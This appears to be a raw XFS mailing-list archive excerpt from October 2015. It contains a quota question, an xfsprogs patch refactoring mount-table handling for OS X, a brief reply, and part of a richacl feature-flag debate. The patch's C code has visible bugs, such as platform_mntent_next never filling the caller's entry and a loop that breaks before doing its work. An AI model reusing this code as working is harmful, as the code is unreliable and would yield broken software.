ZGl2PjxkaXY+ZGlza2RxLmJjb3VudCA9IDk3MDQ5MDA4PC9kaXY+PGRpdj5kaXNrZHEuaWNv dW50ID0gMTE3MjU8L2Rpdj48ZGl2PmRpc2tkcS5pdGltZXIgPSAwPC9kaXY+PGRpdj5kaXNr ZHEuYnRpbWVyID0gMDwvZGl2PjxkaXY+ZGlza2RxLml3YXJucyA9IDA8L2Rpdj48ZGl2PmRp c2tkcS5id2FybnMgPSAwPC9kaXY+PGRpdj5kaXNrZHEucnRiX2hhcmRsaW1pdCA9IDA8L2Rp dj48ZGl2PmRpc2tkcS5ydGJfc29mdGxpbWl0ID0gMDwvZGl2PjxkaXY+ZGlza2RxLnJ0YmNv dW50ID0gMDwvZGl2PjxkaXY+ZGlza2RxLnJ0YnRpbWVyID0gMDwvZGl2PjxkaXY+ZGlza2Rx LnJ0Yndhcm5zID0gMDwvZGl2PjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+SXQgc2VlbXMg dGhhdCBzb21lIGJsb2NrcyBvd25lZCBieSBwcm9qZWN0IHdhc24ndCBiZSBmcmVlZC4gQW55 b25lIGNhbiBnaXZlIG1lIHNvbWUgc3VnZ2VzdGlvbnMgdG8gZmluZCB0aGUgcmVhc29uPzwv ZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+VGhhbmtzLDwvZGl2PjxkaXY+WWU8L2Rpdj4= ------=_NextPart_562604E6_0A6820B0_47223F78-- From jtulak@redhat.com Tue Oct 20 06:01:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 820977F67 for ; Tue, 20 Oct 2015 06:01:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 32FA8304032 for ; Tue, 20 Oct 2015 04:01:35 -0700 (PDT) X-ASG-Debug-ID: 1445338893-04bdf06db4fc7a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xZIeeBsbH1eSnlP2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 20 Oct 2015 04:01:33 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 085F7319ADE for ; Tue, 20 Oct 2015 11:01:33 +0000 (UTC) Received: from honza-mbp.lan.tulak.me.lan.tulak.me (vpn1-4-65.ams2.redhat.com [10.36.4.65]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9KB1VWQ011141; Tue, 20 Oct 2015 07:01:31 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: Jan Tulak Subject: [PATCH] xfsprogs: make fsr use mntinfo when there is no mntent Date: Tue, 20 Oct 2015 13:01:23 +0200 X-ASG-Orig-Subj: [PATCH] xfsprogs: make fsr use mntinfo when there is no mntent Message-Id: <1445338883-7000-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445338893 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I'm resubmitting this patch from my OS X set - it wasn't included with others, nor in the current for-next, and I didn't got any review/reply to this last iteration. So my guess is it fell under the sofa, forgotten... :-) ......... UPDATE: - refactor ifdefs to platform_ functions - refactor also the other ifdef which I forgot to change before - (and rebase against current for-next) For what fsr needs, mntinfo can be used instead of mntent on some platforms. Exctract the platform-specific code to platform headers. Signed-off-by: Jan Tulak --- fsr/Makefile | 8 ++++ fsr/xfs_fsr.c | 111 +++++++++++++++++++++++++++----------------------- include/darwin.h | 62 ++++++++++++++++++++++++++++ include/freebsd.h | 32 +++++++++++++++ include/gnukfreebsd.h | 31 ++++++++++++++ include/irix.h | 32 +++++++++++++++ include/linux.h | 31 ++++++++++++++ 7 files changed, 257 insertions(+), 50 deletions(-) diff --git a/fsr/Makefile b/fsr/Makefile index a9d1bf6..d3521b2 100644 --- a/fsr/Makefile +++ b/fsr/Makefile @@ -9,6 +9,14 @@ LTCOMMAND = xfs_fsr CFILES = xfs_fsr.c LLDLIBS = $(LIBHANDLE) +ifeq ($(HAVE_GETMNTENT),yes) +LCFLAGS += -DHAVE_GETMNTENT +endif + +ifeq ($(HAVE_GETMNTINFO),yes) +LCFLAGS += -DHAVE_GETMNTINFO +endif + default: depend $(LTCOMMAND) include $(BUILDRULES) diff --git a/fsr/xfs_fsr.c b/fsr/xfs_fsr.c index c8ef18f..fa7f8cf 100644 --- a/fsr/xfs_fsr.c +++ b/fsr/xfs_fsr.c @@ -32,10 +32,6 @@ #include #include -#ifdef HAVE_MNTENT -# include -#endif - #ifndef XFS_XFLAG_NODEFRAG #define XFS_XFLAG_NODEFRAG 0x00002000 /* src dependancy, remove later */ #endif @@ -180,54 +176,61 @@ aborter(int unused) * here - the code that handles defragmentation of invidual files takes care * of that. */ + +static char * +find_mountpoint_check(struct stat64 *sb, struct mntent *t, struct stat64 *ms) +{ + if (S_ISDIR(sb->st_mode)) { /* mount point */ + if (stat64(t->mnt_dir, &ms) < 0) + return NULL; + if (sb->st_ino != ms->st_ino) + return NULL; + if (sb->st_dev != ms->st_dev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + } else { /* device */ + struct stat64 sb2; + + if (stat64(t->mnt_fsname, &ms) < 0) + return NULL; + if (sb->st_rdev != ms->st_rdev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + + /* + * Make sure the mountpoint given by mtab is accessible + * before using it. + */ + if (stat64(t->mnt_dir, &sb2) < 0) + return NULL; + } + + return t->mnt_dir; + +} + static char * find_mountpoint(char *mtab, char *argname, struct stat64 *sb) { - struct mntent *t; + struct mntent_cursor cursor; struct stat64 ms; - FILE *mtabp; + struct mntent t = {}; char *mntp = NULL; - mtabp = setmntent(mtab, "r"); - if (!mtabp) { - fprintf(stderr, _("%s: cannot read %s\n"), - progname, mtab); + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); exit(1); } - while ((t = getmntent(mtabp))) { - if (S_ISDIR(sb->st_mode)) { /* mount point */ - if (stat64(t->mnt_dir, &ms) < 0) - continue; - if (sb->st_ino != ms.st_ino) - continue; - if (sb->st_dev != ms.st_dev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - } else { /* device */ - struct stat64 sb2; - - if (stat64(t->mnt_fsname, &ms) < 0) - continue; - if (sb->st_rdev != ms.st_rdev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - - /* - * Make sure the mountpoint given by mtab is accessible - * before using it. - */ - if (stat64(t->mnt_dir, &sb2) < 0) - continue; - } - - mntp = t->mnt_dir; + while (platform_mntent_next(&cursor, &t) == 0) { + mntp = find_mountpoint_check(sb, &t, &ms); + if (mntp == NULL) + continue; break; } - - endmntent(mtabp); + platform_mntent_close(&cursor); return mntp; } @@ -405,17 +408,13 @@ usage(int ret) static void initallfs(char *mtab) { - FILE *fp; + struct mntent_cursor cursor; + char *mntp = NULL; struct mntent *mp; int mi; char *cp; struct stat64 sb; - - fp = setmntent(mtab, "r"); - if (fp == NULL) { - fsrprintf(_("could not open mtab file: %s\n"), mtab); - exit(1); - } + struct stat64 ms; /* malloc a number of descriptors, increased later if needed */ if (!(fsbase = (fsdesc_t *)malloc(fsbufsize * sizeof(fsdesc_t)))) { @@ -427,7 +426,18 @@ initallfs(char *mtab) /* find all rw xfs file systems */ mi = 0; fs = fsbase; - while ((mp = getmntent(fp))) { + + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); + exit(1); + } + + while (platform_mntent_next(&cursor, &mp) == 0) { + mntp = find_mountpoint_check(&sb, &mp, &ms); + if (mntp == NULL) + continue; + break; + int rw = 0; if (strcmp(mp->mnt_type, MNTTYPE_XFS ) != 0 || @@ -477,9 +487,10 @@ initallfs(char *mtab) mi++; fs++; } + platform_mntent_close(&cursor); + numfs = mi; fsend = (fsbase + numfs); - endmntent(fp); if (numfs == 0) { fsrprintf(_("no rw xfs file systems in mtab: %s\n"), mtab); exit(0); diff --git a/include/darwin.h b/include/darwin.h index 6c6e547..3eef3e3 100644 --- a/include/darwin.h +++ b/include/darwin.h @@ -219,8 +219,70 @@ static inline int timer_gettime (timer_t timerid, struct itimerspec *value) /* FSR */ +# include +# include +#include +#include #define statvfs64 statfs #define lstat64 lstat #define _PATH_MOUNTED "/etc/mtab" +struct mntent +{ + char *mnt_fsname; + char *mnt_dir; + char *mnt_type; + char *mnt_opts; + int mnt_freq; + int mnt_passno; +}; + +static inline void mntinfo2mntent (struct statfs * stats, struct mntent * mnt) { + mnt->mnt_fsname = stats->f_mntfromname; + mnt->mnt_dir = stats->f_mntonname; + mnt->mnt_type = stats->f_fstypename; +} + + + +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; + struct statfs *stats; + int count; + int i; +}; + +/** + * OS X uses getmntinfo, which doesn't use a mtab file. So we just ignore it. + */ +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + if ((cursor->count = getmntinfo(&cursor->stats, 0)) < 0) { + fprintf(stderr, "Error: getmntinfo() failed: %s\n", strerror(errno)); + return 1; + } + cursor->i = 0; + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + if (cursor->i >= cursor->count){ + return 1; + } + mntinfo2mntent(&cursor->stats[cursor->i], t); + cursor->i++; + return 0; + +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + cursor->count = 0; + cursor->i = 0; +} + #endif /* __XFS_DARWIN_H__ */ diff --git a/include/freebsd.h b/include/freebsd.h index 902b940..6bc9e61 100644 --- a/include/freebsd.h +++ b/include/freebsd.h @@ -26,6 +26,7 @@ #include #include #include +#include #include #define __BYTE_ORDER BYTE_ORDER @@ -147,4 +148,35 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_FREEBSD_H__ */ diff --git a/include/gnukfreebsd.h b/include/gnukfreebsd.h index 95c4c13..2740cae 100644 --- a/include/gnukfreebsd.h +++ b/include/gnukfreebsd.h @@ -31,6 +31,7 @@ #include #include #include +#include #define constpp char * const * @@ -126,4 +127,34 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_KFREEBSD_H__ */ diff --git a/include/irix.h b/include/irix.h index 28564c8..cb9cce0 100644 --- a/include/irix.h +++ b/include/irix.h @@ -37,6 +37,7 @@ #include #include #include +#include #define __int8_t char #define __int16_t short @@ -423,4 +424,35 @@ static __inline__ char * strsep(char **s, const char *ct) #define XFS_XFLAG_NODEFRAG 0x00002000 +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_IRIX_H__ */ diff --git a/include/linux.h b/include/linux.h index 8804c2d..437970b 100644 --- a/include/linux.h +++ b/include/linux.h @@ -30,6 +30,7 @@ #include #include #include +#include static __inline__ int xfsctl(const char *path, int fd, int cmd, void *p) { @@ -145,4 +146,34 @@ typedef __uint64_t xfs_ino_t; typedef __uint32_t xfs_dev_t; typedef __int64_t xfs_daddr_t; +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_LINUX_H__ */ -- 2.6.0 From eflorac@intellique.com Tue Oct 20 06:31:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 966D97F6A for ; Tue, 20 Oct 2015 06:31:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26357AC002 for ; Tue, 20 Oct 2015 04:31:32 -0700 (PDT) X-ASG-Debug-ID: 1445340687-04bdf06db1fdfe0001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id BaeV87gv8NSpSmAM (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 20 Oct 2015 04:31:28 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 420D12CC50; Tue, 20 Oct 2015 07:31:27 -0400 (EDT) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by mail1.g1.pair.com (Postfix) with ESMTPSA id 688132CC63; Tue, 20 Oct 2015 07:31:26 -0400 (EDT) Date: Tue, 20 Oct 2015 13:31:29 +0200 From: Emmanuel Florac To: "YeYin" Cc: "xfs" Subject: Re: du result is smaller than xfs_quota report Message-ID: <20151020133129.4eeabf88@harpe.intellique.com> X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report In-Reply-To: References: Organization: Intellique X-Mailer: Claws Mail 3.12.0 (GTK+ 2.24.20; i486-slackware-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1445340688 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23655 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.20 BSF_SC7_SA298e Custom Rule SA298e Le Tue, 20 Oct 2015 17:09:58 +0800 "YeYin" =C3=A9crivait: > It seems that some blocks owned by project wasn't be freed. Anyone > can give me some suggestions to find the reason? >=20 What does say ls -l /data/docker-volumes/docker-15092311522409 is it coherent with du, or xfs_quota? --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From ahferroin7@gmail.com Tue Oct 20 07:34:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D64C7F6C for ; Tue, 20 Oct 2015 07:34:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0633F8F8035 for ; Tue, 20 Oct 2015 05:34:37 -0700 (PDT) X-ASG-Debug-ID: 1445344475-04cbb035aae27a0001-NocioJ Received: from mail-io0-f175.google.com (mail-io0-f175.google.com [209.85.223.175]) by cuda.sgi.com with ESMTP id 9Hqmvspv1nBpoWK4 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 20 Oct 2015 05:34:35 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.175 Received: by iofz202 with SMTP id z202so19881485iof.2 for ; Tue, 20 Oct 2015 05:34:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=SbWsa73kFY8kePRBdkyY7v2bfBezWzjHPGh8DMVHCfs=; b=c47+2IJODD7FbgDb0P1g1S1DeXrYWvmg02ox7o3wHu3QA0bVHAoN/FzsoJZ8k1iBpC ndtJ4WuXBwfBoT2tFbX/fAzm76kNXvSJnjRxzmez2elvmhccnD4Q7wh+jH5+SZjHLBq1 ye9bwA6Uc7qwm0tMd+FSSC7zpSbLLXEctCwHUawHtgPCER8NubIXyNLUuksoy3hL+suR +YBOM3tmemrYLLjf9dkKKZWbGTR+SCFZIg2xWJwuvqrU7VmjDNyZoeM/KoVW6EF9CYh8 RSCGaWtZLhvxGmYhbYg0sHac2Dnes487jm08xYgBKCTVlXQ4DXOTjYsEtgx8RK2QxVjT lezA== X-Received: by 10.107.9.208 with SMTP id 77mr3373856ioj.76.1445344474803; Tue, 20 Oct 2015 05:34:34 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id d82sm1331496iod.43.2015.10.20.05.34.32 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 20 Oct 2015 05:34:33 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> <5625182C.3050007@gmail.com> <56253A35.4070309@gmail.com> Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <562634B2.30209@gmail.com> Date: Tue, 20 Oct 2015 08:33:54 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms040606010009020500030007" X-Antivirus: avast! (VPS 151020-0, 2015-10-20), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-io0-f175.google.com[209.85.223.175] X-Barracuda-Start-Time: 1445344475 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23656 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms040606010009020500030007 Content-Type: text/plain; charset=gbk; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-19 16:20, Andreas Gruenbacher wrote: > On Mon, Oct 19, 2015 at 8:45 PM, Austin S Hemmelgarn > wrote: >> On 2015-10-19 13:33, Andreas Gruenbacher wrote: >>> Please spare me with all that nonsense. Compared to mount options, >>> filesystem feature flags in this case simplify things (you don't have= >>> to specify whether a filesystem contains POSIX ACLs or richacls), and= >>> they prevent administrator errors: when a filesystem mounts, it is >>> safe to use; when it doesn't, it is not. That's all there is to it. >> >> You're ignoring what I'm actually saying. I've said absolutely nothing= >> about needing to use mount options at all, and I'm not arguing against= using >> filesystem feature flags, I'm arguing for using them sensibly in a way= that >> does not present a false sense of security. > > We could be on a multi-user system, and the user mounting the > filesystem may not be the only user on the system. When a filesystem > can be mounted read-only, it should be safe to use read-only. It is > not safe in general to use such a filesystem read-only, so an > incompatible feature flag which prevents such unsafe mounting is more > approporiate than a read-only incompatible feature flag. Except that mounting a filesystem that wasn't created on the system=20 mounting it always has that exact same risk, because (AFAIK) all=20 Linux/BSD/Other UNIX filesystems store GID's and UID's as numbers, not=20 names. Perfect example of this, take a minimal install of some Linux=20 distribution, install a couple of packages that add new UID's, and mount = the root filesystem on a completely different distribution (say mount a=20 Debian root filesystem on a Gentoo box), any of the new UID's from the=20 first system will almost certainly not map to the same user on the=20 second system (in fact, you can also do this with two Gentoo systems=20 where the packages were installed in different orders). This is a=20 really basic security risk that any seasoned sysadmin should know, and=20 most new ones find out about rather quickly. Also, based on established context of _every_ other feature with an=20 incompat feature flag in both ext4 and XFS, 'safe' means that you can=20 get the correct file contents off of the filesystem,and don't run the=20 risk of crashing the system, not that you have no risk of compromising=20 security. > Mounting a filesystem read-only doesn't mean that the filesystem is > being recovered, it is perfectly legal to mount a filesystem read-only > for other reasons. I don't want to give people using read-only > filesystems the false sense that everything is okay. Yes, and this is why any sane filesystem will spit a warning out through = dmesg when a mount is forced read-only because of incompatible features. = If someone is actively mounting such a filesystem read-only (that is,=20 they've specified 'ro' in the mount options), then it's relatively safe=20 for the kernel to assume they are doing so for some very specific reason = and/or already know about the data safety implications. > >> Making it an incompatible flag will likely cause headaches for some >> legitimate users, > > Indeed. It will also make it less likely for users to accidentally > shoot themselves in the foot. If someone knows better, they can clear > the feature flag. Except there will be a lot of people who think they know better but=20 really don't. Such people will do this anyway, and by modifying the=20 filesystem run a bigger risk of shooting themselves in the foot (because = they'll almost certainly mount the filesystem read-write, and then end=20 up turning on richacls again). You're not removing the gun, you're just = hiding a potentially bigger one somewhere else. It's a separate issue entirely however whether or not you absolutely=20 need to know that the richacls have the correct syntax in a recovery=20 situation. Fsck doesn't parse SELinux labels, (AFAIK) doesn't parse=20 filecaps attributes (bad filecaps syntax will only make things have=20 fewer privileges, but it will cause user visible brokenness), (again,=20 AFAIK) doesn't validate POSIX ACL's, and absolutely doesn't check IMA or = EVM hashes. IMA and EVM hashes being wrong _will_ cause almost any=20 system actually using them they way they are intended to fail to boot,=20 and incorrect SELinux labeling will make many systems not boot=20 correctly, and both situations are much worse for a significant majority = of users than a (security leak due to a bad ACL. > > When recovering a broken system that contains richacl filesystems, you > really want to have richacl support in the rescue system as well. > Otherwise, you won't be able to fsck those filesystems. While it's something that 'should' be the case, there are probably quite = a few people who will not realize this until they're already in a=20 situation that they need to recover data. On top of that some people=20 will likely assume that they just need richacl support in userspace for=20 their recovery environment. > >> and at most delay competent hackers by a few seconds to a >> few minutes, and script kiddies by a few hours, and is really no bette= r than >> security by obscurity (and from a purely logistical standpoint, that's= _all_ >> it is) in that it actively tries to hide the fact that someone having = read >> access to the storage the filesystem is on can bypass the ACL's. >> >> To reiterate, if someone can call mount() on a filesystem, and mount()= does >> not return -EPERM, then even if mount() returns a different error, the= y >> still have the ability to completely bypass all permissions and ACL's = in >> that filesystem, because they have the ability to read the entire file= system >> directly. >> >> The _only_ way to properly protect against people bypassing the ACL's = is to >> use full disk encryption and lock down root access on the system, and = even >> that can't completely prevent it from happening. > > That's all completely beside the point. I'm not talking about > preventing attacks at all, just basic administrative workflows. While that may be the case, there will be people who assume that because = it's an incompat feature, their ACL's will _always_ be enforced. Such=20 people should admittedly not be allowed to run systems with any real=20 world security requirements, but that mentality is something that still=20 needs to be considered, and this is arguably making it easier for them=20 to shoot themselves in the foot. --------------ms040606010009020500030007 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgMFADCABgkqhkiG9w0BBwEAAKCC Brgwgga0MIIEnKADAgECAgMRLfgwDQYJKoZIhvcNAQENBQAweTEQMA4GA1UEChMHUm9vdCBD QTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNp Z25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcwHhcN MTUwOTIxMTEzNTEzWhcNMTYwMzE5MTEzNTEzWjBjMRgwFgYDVQQDEw9DQWNlcnQgV29UIFVz ZXIxIzAhBgkqhkiG9w0BCQEWFGFoZmVycm9pbjdAZ21haWwuY29tMSIwIAYJKoZIhvcNAQkB FhNhaGVtbWVsZ0BvaGlvZ3QuY29tMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA nQ/81tq0QBQi5w316VsVNfjg6kVVIMx760TuwA1MUaNQgQ3NyUl+UyFtjhpkNwwChjgAqfGd LIMTHAdObcwGfzO5uI2o1a8MHVQna8FRsU3QGouysIOGQlX8jFYXMKPEdnlt0GoQcd+BtESr pivbGWUEkPs1CwM6WOrs+09bAJP3qzKIr0VxervFrzrC5Dg9Rf18r9WXHElBuWHg4GYHNJ2V Ab8iKc10h44FnqxZK8RDN8ts/xX93i9bIBmHnFfyNRfiOUtNVeynJbf6kVtdHP+CRBkXCNRZ qyQT7gbTGD24P92PS2UTmDfplSBcWcTn65o3xWfesbf02jF6PL3BCrVnDRI4RgYxG3zFBJuG qvMoEODLhHKSXPAyQhwZINigZNdw5G1NqjXqUw+lIqdQvoPijK9J3eijiakh9u2bjWOMaleI SMRR6XsdM2O5qun1dqOrCgRkM0XSNtBQ2JjY7CycIx+qifJWsRaYWZz0aQU4ZrtAI7gVhO9h pyNaAGjvm7PdjEBiXq57e4QcgpwzvNlv8pG1c/hnt0msfDWNJtl3b6elhQ2Pz4w/QnWifZ8E BrFEmjeeJa2dqjE3giPVWrsH+lOvQQONsYJOuVb8b0zao4vrWeGmW2q2e3pdv0Axzm/60cJQ haZUv8+JdX9ZzqxOm5w5eUQSclt84u+D+hsCAwEAAaOCAVkwggFVMAwGA1UdEwEB/wQCMAAw VgYJYIZIAYb4QgENBEkWR1RvIGdldCB5b3VyIG93biBjZXJ0aWZpY2F0ZSBmb3IgRlJFRSBo 